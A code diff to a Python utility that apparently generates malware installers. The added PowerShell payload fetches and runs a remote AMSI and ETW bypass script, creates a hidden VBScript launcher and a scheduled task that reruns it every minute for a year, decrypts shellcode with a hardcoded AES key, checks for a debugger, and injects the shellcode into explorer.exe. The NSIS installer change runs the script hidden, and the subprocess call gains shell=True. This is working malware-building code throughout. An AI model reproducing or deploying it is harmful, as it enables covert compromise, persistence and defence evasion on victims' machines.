Update utils.py

utils.py

@@ -30,7 +30,7 @@ def obfuscate_powershell_script(ps1_path):
         current_app.logger.info(f"Running obfuscation command: {cmd}")
         current_app.logger.info(f"Input PowerShell script path: {ps1_path}")
 
-        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+        process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
         process.stdin.write(f"{ps1_path}\n")
         process.stdin.flush()
         stdout, stderr = process.communicate()
@@ -93,7 +93,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
         SetOutPath "$WINDIR\..\ProgramData\Installer"
         File "{bin_file}"
         File "{ps1_file}"
-        ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
+        ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
         SetAutoClose true
     SectionEnd
     """
@@ -213,17 +213,114 @@ def process_request(request):
         # Extract the file name from the full binary path
         bin_file_name = os.path.basename(bin_path)
 
-        
-        # Read the PowerShell content from the local file
-        with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
-            ps1_content = ps1_file.read()
-
-        ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
-    
-        # Create the PowerShell script with the modified content
+        # Create the PowerShell script with the provided content
+        ps1_content = f'''
+        # Download and execute the script from the provided URL
+        iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
+        # Run the Invoke-NullAMSI command
+        Invoke-NullAMSI
+        Invoke-NullAMSI -etw
+        # Define the content of the VBScript
+        $vbsContent = @'
+        Set objShell = CreateObject("WScript.Shell")
+        objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
+        '@
+        # Define the file path for the .vbs file in the desired location
+        $vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
+        # Write the content to the .vbs file
+        $vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
+        Write-Host "VBScript file created at: $vbsFilePath"
+        $Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
+        $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
+        Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
+        # Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
+        $keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
+        # Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
+        if ($keyBytes.Length -gt 16) {{
+            $keyBytes = $keyBytes[0..15]  # Trim the key to 16 bytes if it's longer
+        }}
+        elseif ($keyBytes.Length -lt 16) {{
+            # If the key is too short, pad it with zeros to make it 16 bytes
+            $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
+        }}
+        # Function to download the encrypted binary from the server
+        function Download-EncryptedShellcode {{
+            param([string]$url)
+            # Download the encrypted binary file directly into memory as a byte array
+            $response = Invoke-WebRequest -Uri $url -UseBasicParsing
+            return $response.Content
+        }}
+        # Read the encrypted shellcode from a local binary file
+        $encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
+        # Create an AES encryption object
+        $aes = [System.Security.Cryptography.Aes]::Create()
+        # Set the decryption key and initialization vector (IV)
+        $aes.Key = $keyBytes
+        $aes.IV = $keyBytes[0..15]  # Use the first 16 bytes of the key for the IV
+        # Create a memory stream to hold the decrypted data
+        $memoryStream = New-Object System.IO.MemoryStream
+        $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
+        # Decrypt the encrypted data into the memory stream
+        $cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
+        $cryptoStream.Close()
+        # Get the decrypted shellcode
+        $buf = $memoryStream.ToArray()
+        # Anti-debugging mechanism
+        function IsDebuggerPresent {{
+            $IsDebuggerPresentCode = @"
+            using System;
+            using System.Runtime.InteropServices;
+            public class DebugHelper {{
+                [DllImport(\\"kernel32.dll\\")]
+                public static extern bool IsDebuggerPresent();
+            }}
+        "@
+            $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
+            return $debugHelper::IsDebuggerPresent()
+        }}
+        if (IsDebuggerPresent) {{
+            Write-Host "Debugger detected. Exiting."
+            exit
+        }}
+        # Inject shellcode into a target process (example: explorer.exe)
+        $Win32APICode = @"
+        using System;
+        using System.Runtime.InteropServices;
+        public class Win32API {{
+            [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
+            public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
+            [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+            public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
+            [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+            public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
+            [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+            public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
+            [DllImport(\\"kernel32.dll\\", SetLastError = true)]
+            [return: MarshalAs(UnmanagedType.Bool)]
+            public static extern bool CloseHandle(IntPtr hObject);
+        }}
+        "@
+        $win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
+        # Target process (explorer.exe) injection
+        $targetProcess = Get-Process explorer | Select-Object -First 1
+        $processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
+        # Allocate memory in the target process
+        $size = 0x1000
+        if ($buf.Length -gt $size) {{ $size = $buf.Length }}
+        $remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
+        # Write the shellcode into the allocated memory
+        $bytesWritten = [IntPtr]::Zero
+        $win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
+        # Create a remote thread to execute the shellcode
+        $threadId = [IntPtr]::Zero
+        $win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
+        # Close the process handle
+        $win32api::CloseHandle($processHandle)
+        Write-Host "Shellcode injection completed successfully."
+        '''
         ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
-        with open(ps1_path, 'w') as new_ps1_file:
-            new_ps1_file.write(ps1_content)
+        with open(ps1_path, 'w') as ps1_file:
+            ps1_file.write(ps1_content)
 
         # Obfuscate the PowerShell script
         obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)